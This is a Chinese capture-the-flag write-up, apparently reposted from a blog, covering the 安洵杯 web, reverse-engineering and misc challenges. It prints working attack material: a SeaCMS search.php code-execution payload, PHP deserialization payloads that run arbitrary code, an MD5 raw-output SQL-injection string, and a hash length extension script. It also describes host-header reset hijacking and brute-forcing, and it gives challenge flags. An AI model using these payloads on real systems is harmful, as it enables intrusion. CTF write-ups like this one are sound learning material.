安洵杯 --writeup

web:

only d0g3er can see flag

这个打开一个是一个海洋cms,通过百度,在search.php有一个代码执行漏洞

直接构造payload:

http://138.68.2.14/seacms/search.php?searchtype=5
POST:
searchword=searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[0]=php&9[1]=info();

直接蚁剑连接,在数据库配置文件密码是 FlagIsNotHere ,猜测flag应该不在这里

再根据tips有源码泄露,放工具里跑一下找到源码,找到数据库配置文件,发现是flag所在库的数据库账号信息

用工具连接本地数据库

拿去解一下码得到flag

Magic Mirror

看到登录框,只知道 账号admin,不知道密码,刚好又有一个忘记密码,说明可以找回

根据提示,不清楚的去看文章,可以修改数据包中的host,就可以将密码重置的链接发送到我们的vps上

先在vps上监听一个端口

然后找回admin密码的时候抓包,将host改为我们监听的vps

发包之后vps就收到了重置链接,然后访问修改就行了

登陆之后查看页面源码,发现是xxe漏洞

然后常规抓包,构造payload看看

一般思路肯定是先用工具扫一扫有哪些文件,刚好扫到了一个flag.php文件。

肯定是直接读取flag.php文件内容了

得到数据,拿去解密就是flag了

Double-S

开局就是什么都没有,太不友好了。。。

果断拿去御剑扫一波,发现源码

这就是一个PHP的反序列化问题

自己在本地构造一下:

<?php
class Anti
{
    public $info = "phpinfo();";
}

$m = new Anti();

echo serialize($m);

然后传个参进去

接下来就很好办,直接读取文件内容

查看目录下的有哪些文件:

<?php
class Anti
{
    public $info = "var_dump(scandir('./'));";
}
//var_dump(scandir('./')); 
$m = new Anti();

echo serialize($m);

flag文件 f1ag_i3_h3re

show_source()查看文件源码

<?php
class Anti
{
    public $info = "show_source('f1ag_i3_h3re');";
}

$m = new Anti();

echo serialize($m);

得到flag

BOOM

这个题看前面的描述感觉应该和验证码有关,经过测试,发现在登陆后台的时候用burp多次发包验证码是没有改变的

扫除readme_.html页面,用这个账号登陆密码错误,更改了密码

猜测是还是修改为了5位数的密码

生成一个5位数的字典进行爆破

到005**左右的时候就会爆破出来正确密码

然后用爆破出来的密码登陆就行了,就会弹出一个字符串,就是flag了。

无限手套

才开始打开这个页面发现什么都没有,通过百度翻译知道这是一个参数,果断加进去,但是测试半天还是没有结果

手贱在参数后面加了一个中括号,然后就出现了一个框框

看到东西就好说了,随便输入密码

提示错误后查看页面源代码

很明显是一个执行的语句,password是原始二进制,引号里面的内容就是我们输入的密码,所以解题思路就是找到一个字符串md5为原始二进制数据后可以闭合前面的引号

ffifdyop  刚好可以解决问题

md5(ffifdyop, true) = 'or'6�]��!r,��b

https://blog.csdn.net/qq_24810241/article/details/79908449

输入这个字符串就可以得到flag

Hash!!!

输入用户名密码,进行常规抓包,数据包请求头的cookie参数中有一个source参数为0,改为1,得到源码

copy出来分析一下,就是hash长度扩展攻击

https://blog.csdn.net/qq_35078631/article/details/70941204

百度了一篇文章

下载工具

改python脚本

# -*- coding:utf-8 -*-
from urlparse import urlparse
from httplib import HTTPConnection
from urllib import urlencode
import requests
import json
import time
import os
import urllib

def gao(x, y):
    #print x
    #print y
    url = "http://207.246.104.192/00001/index.php"
    #url = "http://192.168.100.159/hash.php"
    cookie = "source=0; getflag=" + y
    # print cookie
    build_header = {
            'Cookie': cookie,
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:44.0) Gecko/20100101 Firefox/44.0',
            'Host': '207.246.104.192',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    }
    res = requests.post(url, data={'username':'D0g3', 'password': x}, headers=build_header)
    return res.text

for i in xrange(1,50):
    print i
    #secret len = ???
    find_hash = "./hash_extender/hash_extender -d ';\"tseug\":5:s' -s 3a4727d57463f122833d9e732f94e4e0 -f md5  -a ';\"nimda\":5:s' --out-data-format=html -l " + str(i) + " --quiet"
    find_hash = "./hash_extender -d 'D0g3' -a 'D0g3' -s 'c3ef608fdc59d9143c39664ade7556d5' -f md5 -l " + str(i) + " --out-data-format=html --quiet"
    calc_res = os.popen(find_hash).readlines()
    hash_value = calc_res[0][:32]
    attack_padding = calc_res[0][32:]
    ret = gao(attack_padding, hash_value)
    #print ret
    if "Hacker" not in ret:
        print ret
        break

运行脚本

得到flag

方舟计划

扫目录,有robots.txt,访问发现有robots.php,打开有一串二进制,直接转16进制,然后转文本,得到caipiao6.zip

通过查看源码知道购买的时候是进行的弱比较

(true == 不为0的数)为true,比较成功

所以只需构造猜的数字为true就行

<?php
$a = array(
	"action"=>"buy",
	"numbers"=>array(
	"0"=>true,
	"1"=>true,
	"2"=>true,
	"3"=>true,
	"4"=>true,
	"5"=>true,
	"6"=>true,
	)
);
echo json_encode($a);

?>

将得到的字符串替换post数据,多发几次包,钱就够了

购买了之后,根据pqe,求出秘钥生成中的d

根据公式,用python脚本跑一下

import gmpy

#N=q*p

N,p,q,e=213569520509446,473398606,451141,17

d=gmpy.invert(e,(p-1)*(q-1))

print(d)

加上格式就是D0g3格式就是flag



re

阿根廷

经过虚拟机测试,该病毒为MBR病毒,

于是快照回去,下ReadFile,OpenFile,WriteFile,CreateFileA,CreateFileW,准备dump

buffer里的内容,然后IDA反编译。

步骤进行到一半,看见了buffer里居然有敏感信息,二话不说交上去试试,Nice!!!

解题完成。

巴哈马

分析程序发现程序无法正常运行,不能正常加载IAT表,于是用PEview查看发现造成的原因是.rdata段未能正常加载,于是需要先修改PE。

如此用OD加载修改后的文件,运行后显示

查找字符串,将下面的一个jmp跳转nop掉,即可正常运行程序

用IDA加载,找到main函数

一个简单的20位密码,分别进行奇数位和偶数位比较

得出一个密文,在base64解密

D0g3{ 3aSy_Ant1_De6ug}

Misc

智利

https://i.loli.net/2018/11/23/5bf7fef997715.jpg

根据图得出幺元为c,MD5加密

D0g3{4a8a08f09d37b73795649038408b5f33}

 

猜你喜欢

转载自blog.csdn.net/qq_39850969/article/details/84503901